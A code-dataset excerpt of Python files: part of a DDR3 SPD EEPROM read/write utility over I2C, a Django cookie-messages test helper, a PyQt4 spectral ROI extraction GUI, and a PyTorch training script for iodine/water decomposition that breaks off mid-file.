0.1250 + tckminoffset) +\"ns\")\n if hex(tckmin) == \"0x8\" and hex(tckminoffset) == \"0xC2\":\n print(\"DDR3-2133 clockspeed=1067mhz\") \n print(\"tckmin: \" + str(tckmin * 0.1250 + tckminoffset) +\"ns\")\n \ndef writetckmin(final, args , offset=0):\n if offset==None:\n offset=0\n if VERBOSE: \n print(\"writetckmin----\")\n print(args)\n tckminoffset=int(offset)\n tckmin=int(args)\n print(\"wanted speed:\")\n if hex(tckmin) == \"0x14\":\n print(\"DDR3-800 clockspeed=400mhz\")\n print(\"tckmin: \" + str(tckmin * 0.1250 + tckminoffset) +\"ns\")\n if hex(tckmin) == \"0xf\":\n print(\"DDR3-1066 clockspeed=533mhz\")\n print(\"tckmin: \" + str(tckmin * 0.1250 + tckminoffset) +\"ns\")\n if hex(tckmin) == \"0xc\":\n print(\"DDR3-1333 clockspeed=667mhz\")\n print(\"tckmin: \" + str(tckmin * 0.1250 + tckminoffset) +\"ns\")\n if hex(tckmin) == \"0xa\":\n print(\"DDR3-1600 clockspeed=800mhz\")\n print(\"tckmin: \" + str(tckmin * 0.1250 + tckminoffset) +\"ns\")\n if hex(tckmin) == \"0x9\" and hex(tckminoffset) == \"0xCA\":\n print(\"DDR3-1866 clockspeed=933mhz\")\n print(\"tckmin: \" + str(tckmin * 0.1250 + tckminoffset) +\"ns\")\n if hex(tckmin) == \"0x8\" and hex(tckminoffset) == \"0xC2\":\n print(\"DDR3-2133 clockspeed=1067mhz\") \n print(\"tckmin: \" + str(tckmin * 0.1250 + tckminoffset) +\"ns\")\n final[12]=tckmin\n if VERBOSE:\n print(final[12])\n return(final)\n\ndef showCASenabled(final):\n bincaslow=format(final[14], '#010b')\n bincashigh=format(final[15], '#010b')\n totalenabled=\"\"\n count=0\n offset=4\n print(\"cas latencys enabled:\")\n for cl in reversed(bincaslow[2:]):\n if count == 7:\n totalenabled= totalenabled+ \" \"+\"cl\"+str(count+offset)+\"=\"+cl+\"\\n\"\n else:\n totalenabled= totalenabled+ \" \"+\"cl\"+str(count+offset)+\"=\"+cl\n count=count+1\n for cl in reversed(bincashigh[2:]):\n if count+offset != 19:\n if count == 7:\n totalenabled= totalenabled+ \" \"+\"cl\"+str(count+offset)+\"=\"+cl+\"\\n\"\n else:\n totalenabled= totalenabled+ \" \"+\"cl\"+str(count+offset)+\"=\"+cl\n count=count+1\n print(totalenabled)\n \n \ndef readbus(busaddr=0,address=0x50):\n data=[]\n offset=0\n count=0\n while len(data) < 256:\n #i2caddress = 0x50 # Address of first spd eeprom device\n with SMBus(busaddr) as bus:\n bus.pec = 1\n # Read a block of 16 bytes from address 80, offset 0\n block = bus.read_i2c_block_data(address, offset, 32)\n # Returned value is a list of 32 bytes\n data.extend(block)\n offset=offset+32\n #print(block)\n count= count+1\n final=[]\n visual=[]\n for test in data:\n vis = hex(test)\n printr = '0x' + vis[2:].zfill(2)\n final.append(int(printr,16))\n return(final)\n\n\ndef showpartnumber(final):\n partnumber=final[128:]\n partnumber=partnumber[:145]\n stripdpartnumber=bytes(partnumber)[2: -2].decode().replace('\\x00','')\n print(\"partnumber: \"+stripdpartnumber)\n\n\ndef writebus(busaddr=0,address=0x50,data=[]):\n flashblocksize=16\n offset=0\n print(\"datacount\"+str(len(data)))\n print(\"flashing: \")\n while offset < 255:\n print(\"blocks left: \"+str(len(data)))\n #print(\"curdata\")\n #setup data blocks\n curdata=data[:flashblocksize]\n #remove flashed blocks from list\n del data[:flashblocksize]\n count=0\n for hexvalue in curdata:\n # print(hexvalue)\n curdata[count]=hexvalue\n count=count+1 \n with SMBus(busaddr) as bus:\n bus.pec = 1\n time.sleep(0.2)\n # Write a block of flashblock size bytes to address from offset \n bus.write_i2c_block_data(address, offset, curdata)\n #time.sleep(0.2)\n \n offset=offset+flashblocksize\n \ndef main():\n '''\n Main program function\n '''\n global WRITE\n global VERBOSE\n global WRITETOFILE\n global READFROMFILE\n # Define registers values from datasheet\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--busaddress\",\n help=\"set i2c bus address ( 0 most of the time)\")\n parser.add_argument(\"--dimmaddress\",\n help=\"set dimm address( 0x50 0x51 0x52 0x53 0x54 0x55 )\")\n parser.add_argument(\"--writeminrastocas\",\n help=\"set min ras to cas time byte 20 in ns example: --writeminrastocas 10ns\")\n parser.add_argument(\"--writeminrastocasoffset\",\n help=\"set min ras to cas offset byte 36 in ns exaple: --writeminrastocas -54\") \n parser.add_argument(\"--writetckmin\",\n help=\"set min cycle time tckmin byte 12 in ns example: --writetckmin 10ns\")\n parser.add_argument(\"--writetckminoffset\",\n help=\"set min cycle time tckmin offset byte 34 in ns exaple: --writetckminoffset -54\") \n parser.add_argument(\"--writecas\",\n help=\"set enabled CAS latencies in bytes 14 and 15 These bytes define which CAS Latency (CL) values are supported. The range is from CL = 4 through CL = 18 with one bit per possible CAS Latency. A 1 in a bit position means that CL is supported, a 0 in that bit position means it is not supported. Since CL = 6 is required for all DDR3 speed bins, bit 2 of SPD byte 14 is always 1.\")\n parser.add_argument(\"--writetofile\",\n help=\"write spd to filename\")\n parser.add_argument(\"--readfromfile\",\n help=\"Read spd from filename\") \n parser.add_argument(\"-v\", \"--verbose\", action=\"store_true\",\n help=\"increase output verbosity\")\n parser.add_argument(\"-w\", \"--write\",action=\"store_true\",\n help=\"enable write\")\n args = parser.parse_args()\n \n \n #enable verbose mode\n if args.verbose:\n VERBOSE=1\n else:\n VERBOSE=0\n\n #set i2c bus address\n if args.busaddress:\n busaddress=int(args.busaddress)\n else:\n busaddress=0\n \n # set dimm address\n if args.dimmaddress:\n dimmaddress=int(args.dimmaddress,16)\n else:\n dimmaddress=0x50\n\n #enable write mode\n if args.write:\n WRITE=1\n else:\n WRITE=0\n #enable write to file and define file name \n if args.writetofile:\n WRITETOFILE=1\n writefilename=args.writetofile\n else:\n WRITETOFILE=0\n #enable read from file and define readfilename\n if args.readfromfile:\n READFROMFILE=1\n readfilename=args.readfromfile\n else:\n READFROMFILE=0 \n \n #read from file else read from bus\n if READFROMFILE:\n final=readfromfile(readfilename)\n else:\n #read from bus and store in final\n final=readbus(busaddress, dimmaddress)\n\n #print operations\n #read original crc\n printcurrentcrc(final)\n showpartnumber(final)\n showCASenabled(final)\n\n readminrascasdelay(final)\n\n readtckmin(final)\n \n readmincasdelay(final)\n \n #write operations\n if \"write\" in str(args):\n print(\"-----after edit -----\")\n \n if args.writetckmin:\n final=writetckmin(final, args.writetckmin, args.writetckminoffset) \n #print(\"newtckmin\")\n #readtckmin(final)\n\n if args.writeminrastocas:\n final=writerastocas(final, args.writeminrastocas, args.writeminrastocasoffset) \n \n \n if args.writecas:\n final=writecas(final, args.writecas) \n print(\"newcas\")\n showCASenabled(final) \n final=spdcrc(final)\n printcurrentcrc(final)\n if WRITE:\n writebus(busadress,dimmaddress,final)\n if WRITETOFILE:\n \n writefile(final, writefilename)\nmain()\n","repo_name":"gompa/Gi2c-spd","sub_path":"Gi2c.py","file_name":"Gi2c.py","file_ext":"py","file_size_in_byte":12411,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"20"} +{"seq_id":"17470105945","text":"from django.contrib.messages.storage.cookie import CookieStorage\nfrom django.http import HttpRequest\n\n\ndef get_messages_from_cookie(cookies):\n \"\"\"Get :mod:`~django.contrib.messages` from ``cookies``\"\"\"\n request = HttpRequest()\n request.COOKIES = {CookieStorage.cookie_name: cookies.get(\n CookieStorage.cookie_name).value}\n return CookieStorage(request)\n","repo_name":"moccu/barbeque","sub_path":"barbeque/testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"20"} +{"seq_id":"42893422282","text":"import sys, platform\nimport gui_checkbox_handlers\nimport spectral_roi\nimport Helper\nimport Display\nimport overlay\nfrom PIL import Image\nfrom PIL.ImageQt import ImageQt\nfrom skimage import img_as_ubyte, io\nfrom PyQt4 import QtCore, QtGui\nfrom Foundation import NSURL\n\nCLUSTER_IMAGE_FILENAME = \"./spectral_cluster.png\"\nCLUSTER_SETTING_OPTIONS = [\"2\", \"4\", \"6\", \"9\", \"11\", \"13\", \"15\", \"17\"]\nCOMPACTNESS_SETTING_OPTIONS = [\"5\", \"10\", \"15\", \"20\", \"25\", \"30\", \"35\", \"40\", \"50\", \"75\", \"100\", \"150\", \"200\"]\nSELECTED_CLUSTER_SETTING_INDEX = 2\nSELECTED_COMPACTNESS_SETTING_INDEX = 5\n\ndef updateLabelToClusterShowImage(displayLabel, filename, width=240, height=240):\n # Compute cluster memberships\n compactness = int(COMPACTNESS_SETTING_OPTIONS[SELECTED_COMPACTNESS_SETTING_INDEX])\n n = int(CLUSTER_SETTING_OPTIONS[SELECTED_CLUSTER_SETTING_INDEX])\n spectral_roi.spectral_cluster(filename, CLUSTER_IMAGE_FILENAME, compactness, n)\n\n # Display result\n picture = Image.open(CLUSTER_IMAGE_FILENAME)\n picture.thumbnail((width,height), Image.ANTIALIAS)\n pixmap = QtGui.QPixmap.fromImage(ImageQt(picture))\n displayLabel.setPixmap(pixmap)\n displayLabel.setFixedSize(width, height)\n\ndef updateLabelToShowImage(displayLabel, filename, width=240, height=240):\n picture = Image.open(filename)\n picture.thumbnail((width,height), Image.ANTIALIAS)\n pixmap = QtGui.QPixmap.fromImage(ImageQt(picture))\n displayLabel.setPixmap(pixmap)\n displayLabel.setFixedSize(width, height)\n\ndef didPressSettingsMenuItem():\n print(\"BOY HE BOUT TO DO IT\")\n d = SettingsDialog()\n d.exec_()\n\nclass DraggableTextField(QtGui.QLineEdit):\n\n def __init__(self, parent):\n super(DraggableTextField, self).__init__(parent)\n self.setAcceptDrops(True)\n self.setReadOnly(True)\n self.parent = parent\n\n def dragEnterEvent(self, e):\n print(e.mimeData().hasUrls())\n\n if e.mimeData().hasUrls():\n e.accept()\n else:\n e.ignore()\n\n def dropEvent(self, e):\n if(e.mimeData().hasUrls()):\n # Get image url\n pixUrl = e.mimeData().urls()[0]\n if(platform.system() == \"Darwin\"):\n pixPath = str(NSURL.URLWithString_(str(pixUrl.toString())).filePathURL().path())\n else:\n pixPath = str(pixUrl.toLocalFile())\n print(\"FILEPATH {}\".format(pixPath))\n self.setText(pixPath)\n self.parent.setImageFilePath(pixPath)\n\n # Display image from url\n updateLabelToClusterShowImage(self.parent.getImageLabel(), pixPath, self.parent.frameSize().width()*0.5, self.parent.frameSize().height()*0.5)\n\nclass AppWindow(QtGui.QWidget):\n\n def __init__(self):\n super(AppWindow, self).__init__()\n self.setWindowFlags(self.windowFlags() | QtCore.Qt.Window)\n\n self.imageLabel = None\n self.imageFilePath = None\n self.RoiFilePath = None\n self.uploadTextView = None\n self.layout = QtGui.QVBoxLayout()\n\n self.create_toolbar()\n\n self.input_section = QtGui.QFormLayout()\n self.layout.addLayout(self.input_section)\n self.display_section = QtGui.QFormLayout()\n self.layout.addLayout(self.display_section)\n self.extraction_section = QtGui.QFormLayout()\n self.layout.addLayout(self.extraction_section)\n self.final_section = QtGui.QFormLayout()\n self.layout.addLayout(self.final_section)\n\n self.initUI()\n\n def create_toolbar(self):\n settingsAction = QtGui.QAction(\"&Set Cluster Parameters\", self)\n settingsAction.setShortcut(\"Ctrl+Q\")\n settingsAction.triggered.connect(didPressSettingsMenuItem)\n\n settingsMenu = QtGui.QMenu(self)\n settingsMenu.addAction(settingsAction)\n\n toolBar = QtGui.QToolBar()\n settingsButton = QtGui.QToolButton()\n settingsButton.setPopupMode(QtGui.QToolButton.MenuButtonPopup)\n settingsButton.setText(\"Settings\")\n settingsButton.setMenu(settingsMenu)\n toolBar.addWidget(settingsButton)\n self.layout.addWidget(toolBar)\n\n def getLayout(self):\n return self.layout\n\n def getImageLabel(self):\n return self.imageLabel\n\n def setImageFilePath(self, path):\n self.imageFilePath = path\n\n def getImageFilePath(self):\n return self.imageFilePath\n\n def didClickFileSelectButton(self, event):\n fname = str(QtGui.QFileDialog.getOpenFileName(self, 'Open file',''))\n self.setImageFilePath(fname)\n self.uploadTextView.setText(fname)\n updateLabelToClusterShowImage(self.imageLabel, fname, self.frameSize().width()*0.5, self.frameSize().height()*0.5)\n\n def didClickSubmitButton(self, event):\n print(self.imageFilePath)\n img = img_as_ubyte(io.imread(CLUSTER_IMAGE_FILENAME))\n roi_img = spectral_roi.extract_roi(img, gui_checkbox_handlers.getSelectedClusters())\n roi_img_filename = \"{}.png\".format(Helper.generate_random_id())\n io.imsave(roi_img_filename, roi_img)\n Display.show_image(roi_img, roi_img_filename)\n\n\n def initUI(self):\n # Create text view and button and add to layout\n uploadTextView = DraggableTextField(self)\n uploadTextView.setDragEnabled(True)\n self.uploadTextView = uploadTextView\n uploadButton = QtGui.QPushButton('Select Image', self)\n uploadButton.clicked.connect(self.didClickFileSelectButton)\n self.input_section.addRow(uploadTextView, uploadButton)\n\n\n # Create image display label and add to layout\n self.imageLabel = QtGui.QLabel(self)\n updateLabelToShowImage(self.getImageLabel(), \"../Assets/placeholder.png\", self.frameSize().width()*0.5, self.frameSize().height()*0.5)\n self.display_section.addRow(self.imageLabel)\n\n # Create checkboxes and add them to layout\n redCheckBox = QtGui.QCheckBox('Red', self)\n greenCheckBox = QtGui.QCheckBox('Green', self)\n blueCheckBox = QtGui.QCheckBox('Blue', self)\n cyanCheckBox = QtGui.QCheckBox('Cyan', self)\n magentaCheckBox = QtGui.QCheckBox('Magenta', self)\n yellowCheckBox = QtGui.QCheckBox('Yellow', self)\n\n redCheckBox.stateChanged.connect(gui_checkbox_handlers.didPressRedCheckbox)\n greenCheckBox.stateChanged.connect(gui_checkbox_handlers.didPressGreenCheckbox)\n blueCheckBox.stateChanged.connect(gui_checkbox_handlers.didPressBlueCheckbox)\n cyanCheckBox.stateChanged.connect(gui_checkbox_handlers.didPressCyanCheckbox)\n magentaCheckBox.stateChanged.connect(gui_checkbox_handlers.didPressMagentaCheckbox)\n yellowCheckBox.stateChanged.connect(gui_checkbox_handlers.didPressYellowCheckbox)\n\n self.extraction_section.addRow(redCheckBox, greenCheckBox)\n self.extraction_section.addRow(blueCheckBox, cyanCheckBox)\n self.extraction_section.addRow(magentaCheckBox, yellowCheckBox)\n\n # Create submit button and add to layout\n submitButton = QtGui.QPushButton('Select Clusters as ROI', self)\n submitButton.clicked.connect(self.didClickSubmitButton)\n self.final_section.addRow(submitButton)\n\n\n self.setLayout(self.layout)\n #self.layout = layout\n self.setWindowTitle('Spectral ROI Extractor')\n\nclass SettingsDialog(QtGui.QDialog):\n def __init__(self):\n super(SettingsDialog, self).__init__()\n self.setModal(True)\n self.initUI()\n\n def selectionInClusterComboBox(self, i):\n global SELECTED_CLUSTER_SETTING_INDEX\n SELECTED_CLUSTER_SETTING_INDEX = i\n\n def selectionInCompactnessComboBox(self, i):\n global SELECTED_COMPACTNESS_SETTING_INDEX\n SELECTED_COMPACTNESS_SETTING_INDEX = i\n\n\n def initUI(self):\n # Create layout\n layout = QtGui.QFormLayout()\n label1 = QtGui.QLabel(\"Clusters\")\n combo1 = QtGui.QComboBox(self)\n combo1.addItems(CLUSTER_SETTING_OPTIONS)\n combo1.currentIndexChanged.connect(self.selectionInClusterComboBox)\n combo1.setCurrentIndex(SELECTED_CLUSTER_SETTING_INDEX)\n layout.addRow(label1, combo1)\n\n label2 = QtGui.QLabel(\"Compactness\")\n combo2 = QtGui.QComboBox(self)\n combo2.addItems(COMPACTNESS_SETTING_OPTIONS)\n combo2.currentIndexChanged.connect(self.selectionInCompactnessComboBox)\n combo2.setCurrentIndex(SELECTED_COMPACTNESS_SETTING_INDEX)\n layout.addRow(label2, combo2)\n\n self.setLayout(layout)\n\ndef main():\n # Create an PyQT4 application object.\n a = QtGui.QApplication(sys.argv)\n\n # The QWidget widget is the base class of all user interface objects in PyQt4.\n w = AppWindow()\n\n # Set window size.\n w.resize(960, 640)\n\n # Show window\n w.show()\n\n sys.exit(a.exec_())\n\n\nmain();\n","repo_name":"oduwa/Pic-Numero","sub_path":"PicNumero/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":8603,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"20"} +{"seq_id":"38940265626","text":"from skimage.measure import compare_ssim as ssim\nfrom scipy.stats import pearsonr\n\nfrom CONRADataset import CONRADataset\nfrom models.convNet import simpleConvNet\nfrom models.unet import UNet\n\nfrom torch import nn, optim\nfrom torch.utils.data import DataLoader\nfrom torch.utils.tensorboard import SummaryWriter\nimport torch\nfrom torchvision import transforms\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom tqdm import tqdm\nimport os\nimport argparse\n\nif 'faui' in os.uname()[1]:\n from tensorboard import program\n\n# helper function\ndef calculate_loss(set, loss_fn, length_set, dev, model):\n '''\n calculates the mean loss per sample\n :param set: a dataloader containing a set of length_set samples\n :param loss_fn: the function which shall be used to accumulate loss\n :param length_set: number of samples in set\n :param dev: device to use for calculation ('cpu' or 'cuda:0')\n :param model: model to evaluate\n :return: loss per sample as an float\n '''\n l = 0\n with torch.no_grad():\n for x, y in tqdm(set):\n x, y = x.to(device=dev, dtype=torch.float), y.to(device=dev, dtype=torch.float)\n pred = model(x)\n l += float(loss_fn(pred, y).item())\n return l/length_set\n\ndef count_trainables(model):\n return sum(p.numel() for p in model.parameters() if p.requires_grad)\n\n\ndef computeMeanStdOverDataset(datasettype, DATAFOLDER, load_params, device, transform=None):\n # NORMLABEL\n if datasettype == 'CONRADataset':\n # computing mean and std over trainingset\n ds = CONRADataset(DATAFOLDER,\n True,\n device=device,\n precompute=True,\n transform=transform)\n trainingset = DataLoader(ds, **load_params)\n\n # sticking to convention iod -> 0, water -> 1\n m = np.zeros(2)\n s = np.zeros(2)\n\n counter = 0\n # iterating and summing all mean and std\n for _, y in tqdm(trainingset):\n # y in shape [b, c, y, x]\n y = y.to(device=device, dtype=torch.float)\n iod = y[:, 0, :, :]\n water = y[:, 1, :, :]\n m[0] += torch.mean(iod)\n m[1] += torch.mean(water)\n s[0] += torch.std(iod)\n s[1] += torch.std(water)\n counter += 1\n return m/counter, s/counter\n print(\"[train.py/computeMeanStd: dataset not recognized\")\n exit(1)\n\ndef performance(set, dev, model, bs):\n iodSSIM = 0\n waterSSIM = 0\n iodR = 0\n waterR = 0\n\n with torch.no_grad():\n for x, y in set:\n x, y = x.to(device=dev, dtype=torch.float), y.to(device=dev, dtype=torch.float)\n # shape is (bs, 2, 480, 620)\n pred = model(x)\n # loop over samples in batch\n for p in range(bs):\n iodine = pred[p, 0, :, :].cpu().numpy()\n water = pred[p, 1, :, :].cpu().numpy()\n gti = y[p, 0, :, :].cpu().numpy()\n gtw = y[p, 1, :, :].cpu().numpy()\n assert len(gti.shape) == 2\n # norming iodine data range as its below one and results in np.nan\n maxIod = iodine.max()\n iodFlatNormed = (iodine.flatten()/maxIod)*100\n gtiodFlatNormed = (gti.flatten()/maxIod)*100\n iodR += pearsonr(iodFlatNormed, gtiodFlatNormed)[0] / 200\n iodSSIM += ssim(iodine, gti) / 200\n waterR += pearsonr(iodFlatNormed, gtiodFlatNormed)[0] / 200\n waterSSIM += ssim(water, gtw) / 200\n\n return [iodSSIM, waterSSIM], [iodR, waterR]\n\n\ndef advanvedMetrics(groundTruth, pred, mean, std, global_step, norm, IMAGE_LOG_DIR):\n '''\n logging advanced metrics in IMAGE_LOG_DIR\n in case of stddev normalization mean will be [0, 0]\n '''\n iod = pred[0]\n water = pred[1]\n gtiod = groundTruth[0]\n gtwater = groundTruth[1]\n if norm:\n # NORMLABEL\n print('denormalizing images')\n iod = (iod * std[0]) + mean[0]\n water = (water * std[1]) + mean[1]\n gtiod = (gtiod * std[0]) + mean[0]\n gtwater = (gtwater * std[1]) + mean[1]\n\n plt.imsave(os.path.join(IMAGE_LOG_DIR, 'iod' + str(global_step) + '.png'), iod, cmap='gray')\n plt.imsave(os.path.join(IMAGE_LOG_DIR, 'water' + str(global_step) + '.png'), water, cmap='gray')\n plt.imsave(os.path.join(IMAGE_LOG_DIR, 'gtiod' + str(global_step) + '.png'), gtiod, cmap='gray')\n plt.imsave(os.path.join(IMAGE_LOG_DIR, 'gtwater' + str(global_step) + '.png'), gtwater, cmap='gray')\n\n print(\"creating and saving profile plot at 240\")\n fig2, (ax1, ax2) = plt.subplots(nrows=2,\n ncols=1) # plot water and iodine in one plot\n ax1.plot(iod[240])\n ax1.plot(gtiod[240])\n ax1.title.set_text(\"iodine horizontal profile\")\n ax1.set_ylabel(\"mm iodine\")\n ax1.set_ylim([np.min(gtiod), np.max(gtiod)])\n print(\"max value in gtiod is {}\".format(np.max(gtiod)))\n ax2.plot(water[240])\n ax2.plot(gtwater[240])\n ax2.title.set_text(\"water horizontal profile\")\n ax2.set_ylabel(\"mm water\")\n ax2.set_ylim([np.min(gtwater), np.max(gtwater)])\n\n plt.subplots_adjust(hspace=0.3)\n plt.savefig(os.path.join(IMAGE_LOG_DIR, 'ProfilePlots' + str(global_step) + '.png'))\n print(\"saved truth and prediction in shape \" + str(iod.shape))\n\n\n# main algorithm configured by argparser. see main method of this file.\ndef train(args):\n '''\n -------------------------Hyperparameters--------------------------\n '''\n EPOCHS = args.epochs\n START = 0 # could enter a checkpoint start epoch\n ITER = args.iterations # per epoch\n LR = args.lr\n MOM = args.momentum\n # LOGInterval = args.log_interval\n BATCHSIZE = args.batch_size\n TEST_BATCHSIZE = args.test_batch_size\n NUMBER_OF_WORKERS = args.workers\n DATA_FOLDER = args.data\n TESTSET_FOLDER = args.testset\n ROOT = args.run\n WEIGHT_DIR = os.path.join(ROOT, \"weights\")\n CUSTOM_LOG_DIR = os.path.join(ROOT, \"additionalLOGS\")\n CHECKPOINT = os.path.join(WEIGHT_DIR, str(args.model) + str(args.name) + \".pt\")\n useTensorboard = args.tb\n\n # check existance of data\n if not os.path.isdir(DATA_FOLDER):\n print(\"data folder not existant or in wrong layout.\\n\\t\", DATA_FOLDER)\n exit(0)\n # check existance of testset\n if TESTSET_FOLDER is not None and not os.path.isdir(TESTSET_FOLDER):\n print(\"testset folder not existant or in wrong layout.\\n\\t\", DATA_FOLDER)\n exit(0)\n\n\n '''\n ---------------------------preparations---------------------------\n '''\n\n # CUDA for PyTorch\n use_cuda = torch.cuda.is_available()\n device = torch.device(\"cuda:0\" if use_cuda else \"cpu\")\n print(\"using device: \", str(device))\n\n # loading the validation samples to make online evaluations\n path_to_valX = args.valX\n path_to_valY = args.valY\n valX = None\n valY = None\n if path_to_valX is not None and path_to_valY is not None \\\n and os.path.exists(path_to_valX) and os.path.exists(path_to_valY) \\\n and os.path.isfile(path_to_valX) and os.path.isfile(path_to_valY):\n with torch.no_grad():\n valX, valY = torch.load(path_to_valX, map_location='cpu'), \\\n torch.load(path_to_valY, map_location='cpu')\n\n\n '''\n ---------------------------loading dataset and normalizing---------------------------\n '''\n # Dataloader Parameters\n train_params = {'batch_size': BATCHSIZE,\n 'shuffle': True,\n 'num_workers': NUMBER_OF_WORKERS}\n test_params = {'batch_size': TEST_BATCHSIZE,\n 'shuffle': False,\n 'num_workers': NUMBER_OF_WORKERS}\n\n # create a folder for the weights and custom logs\n if not os.path.isdir(WEIGHT_DIR):\n os.makedirs(WEIGHT_DIR)\n if not os.path.isdir(CUSTOM_LOG_DIR):\n os.makedirs(CUSTOM_LOG_DIR)\n\n labelsNorm = None\n # NORMLABEL\n # normalizing on a trainingset wide mean and std\n mean = None\n std = None\n if args.norm:\n print('computing mean and std over trainingset')\n # computes mean and std over all ground truths in dataset to tackle the problem of numerical insignificance\n mean, std = computeMeanStdOverDataset('CONRADataset', DATA_FOLDER, train_params, device)\n print('\\niodine (mean/std): {}\\t{}'.format(mean[0], std[0]))\n print('water (mean/std): {}\\t{}\\n'.format(mean[1], std[1]))\n labelsNorm = transforms.Normalize(mean=[0, 0], std=std)\n m2, s2 = computeMeanStdOverDataset('CONRADataset', DATA_FOLDER, train_params, device, transform=labelsNorm)\n print(\"new mean and std are:\")\n print('\\nnew iodine (mean/std): {}\\t{}'.format(m2[0], s2[0]))\n print('new water (mean/std): {}\\t{}\\n'.format(m2[1], s2[1]))\n\n traindata = CONRADataset(DATA_FOLDER,\n True,\n device=device,\n precompute=True,\n transform=labelsNorm)\n\n testdata = None\n if TESTSET_FOLDER is not None:\n testdata = CONRADataset(TESTSET_FOLDER,\n False,\n device=device,\n precompute=True,\n transform=labelsNorm)\n else:\n testdata = CONRADataset(DATA_FOLDER,\n False,\n device=device,\n precompute=True,\n transform=labelsNorm)\n\n trainingset = DataLoader(traindata, **train_params)\n testset = DataLoader(testdata, **test_params)\n\n '''\n ----------------loading model and checkpoints---------------------\n '''\n\n if args.model == \"unet\":\n m = UNet(2, 2).to(device)\n print(\"using the U-Net architecture with {} trainable params; Good Luck!\".format(count_trainables(m)))\n else:\n m = simpleConvNet(2, 2).to(device)\n\n o = optim.SGD(m.parameters(),\n lr=LR,\n momentum=MOM)\n\n loss_fn = nn.MSELoss()\n\n test_loss = None\n train_loss = None\n\n if len(os.listdir(WEIGHT_DIR)) != 0:\n checkpoints = os.listdir(WEIGHT_DIR)\n checkDir = {}\n latestCheckpoint = 0\n for i, checkpoint in enumerate(checkpoints):\n stepOfCheckpoint = int(checkpoint.split(str(args.model) + str(args.name))[-1].split('.pt')[0])\n checkDir[stepOfCheckpoint] = checkpoint\n latestCheckpoint = max(latestCheckpoint, stepOfCheckpoint)\n print(\"[{}] {}\".format(stepOfCheckpoint, checkpoint))\n # if on development machine, prompt for input, else just take the most recent one\n if 'faui' in os.uname()[1]:\n toUse = int(input(\"select checkpoint to use: \"))\n else:\n toUse = latestCheckpoint\n checkpoint = torch.load(os.path.join(WEIGHT_DIR, checkDir[toUse]))\n m.load_state_dict(checkpoint['model_state_dict'])\n m.to(device) # pushing weights to gpu\n o.load_state_dict(checkpoint['optimizer_state_dict'])\n train_loss = checkpoint['train_loss']\n test_loss = checkpoint['test_loss']\n START = checkpoint['epoch']\n print(\"using checkpoint {}:\\n\\tloss(train/test): {}/{}\".format(toUse, train_loss, test_loss))\n else:\n print(\"starting from scratch\")\n\n '''\n -----------------------------training-----------------------------\n '''\n global_step = 0\n # calculating initial loss\n if test_loss is None or train_loss is None:\n print(\"calculating initial loss\")\n m.eval()\n print(\"testset...\")\n test_loss = calculate_loss(set=testset, loss_fn=loss_fn, length_set=len(testdata), dev=device, model=m)\n print(\"trainset...\")\n train_loss = calculate_loss(set=trainingset, loss_fn=loss_fn, length_set=len(traindata), dev=device, model=m)\n\n ## SSIM and R value\n R = []\n SSIM = []\n performanceFLE = os.path.join(CUSTOM_LOG_DIR, \"performance.csv\")\n with open(performanceFLE, 'w+') as f:\n f.write(\"step, SSIMiodine, SSIMwater, Riodine, Rwater, train_loss, test_loss\\n\")\n print(\"computing ssim and r coefficents to: {}\".format(performanceFLE))\n\n\n # printing runtime information\n print(\"starting training at {} for {} epochs {} iterations each\\n\\t{} total\".format(START, EPOCHS, ITER, EPOCHS * ITER))\n\n print(\"\\tbatchsize: {}\\n\\tloss: {}\\n\\twill save results to \\\"{}\\\"\".format(BATCHSIZE, train_loss, CHECKPOINT))\n print(\"\\tmodel: {}\\n\\tlearningrate: {}\\n\\tmomentum: {}\\n\\tnorming output space: {}\".format(args.model, LR, MOM, args.norm))\n\n #start actual training loops\n for e in range(START, START + EPOCHS):\n # iterations will not be interupted with validation and metrics\n for i in range(ITER):\n global_step = (e * ITER) + i\n\n # training\n m.train()\n iteration_loss = 0\n for x, y in tqdm(trainingset):\n x, y = x.to(device=device, dtype=torch.float), y.to(device=device, dtype=torch.float)\n pred = m(x)\n loss = loss_fn(pred, y)\n iteration_loss += loss.item()\n o.zero_grad()\n loss.backward()\n o.step()\n print(\"\\niteration {}: --accumulated loss {}\".format(global_step, iteration_loss))\n\n # validation, saving and logging\n print(\"\\nvalidating\")\n m.eval() # disable dropout batchnorm etc\n print(\"testset...\")\n test_loss = calculate_loss(set=testset, loss_fn=loss_fn, length_set=len(testdata), dev=device, model=m)\n print(\"trainset...\")\n train_loss = calculate_loss(set=trainingset, loss_fn=loss_fn, length_set=len(traindata), dev=device, model=m)\n\n print(\"calculating SSIM and R coefficients\")\n currSSIM, currR = performance(set=testset, dev=device, model=m, bs=TEST_BATCHSIZE)\n print(\"SSIM (iod/water): {}/{}\\nR (iod/water): {}/{}\".format(currSSIM[0], currSSIM[1], currR[0], currR[1]))\n with open(performanceFLE, 'a') as f:\n newCSVline = \"{}, {}, {}, {}, {}, {}, {}\\n\".format(global_step, currSSIM[0], currSSIM[1], currR[0],\n currR[1], train_loss, test_loss)\n f.write(newCSVline)\n print(\"wrote new line to csv:\\n\\t{}\".format(newCSVline))\n\n '''\n if valX and valY were set in preparations, use them to perform analytics.\n if not, use the first sample from the testset to perform analytics\n '''\n with torch.no_grad():\n truth, pred = None, None\n IMAGE_LOG_DIR = os.path.join(CUSTOM_LOG_DIR, str(global_step))\n if not os.path.isdir(IMAGE_LOG_DIR):\n os.makedirs(IMAGE_LOG_DIR)\n\n if valX is not None and valY is not None:\n batched = np.zeros((BATCHSIZE, *valX.numpy().shape))\n batched[0] = valX.numpy()\n batched = torch.from_numpy(batched).to(device=device, dtype=torch.float)\n pred = m(batched)\n pred = pred.cpu().numpy()[0]\n truth = valY.numpy() # still on cpu\n\n assert pred.shape == truth.shape\n else:\n for x, y in testset:\n # x, y in shape[2,2,480,620] [b,c,h,w]\n x, y = x.to(device=device, dtype=torch.float), y.to(device=device, dtype=torch.float)\n pred = m(x)\n pred = pred.cpu().numpy()[0] # taking only the first sample of batch\n truth = y.cpu().numpy()[0] # first projection for evaluation\n advanvedMetrics(truth, pred, mean, std, global_step, args.norm, IMAGE_LOG_DIR)\n\n print(\"logging\")\n CHECKPOINT 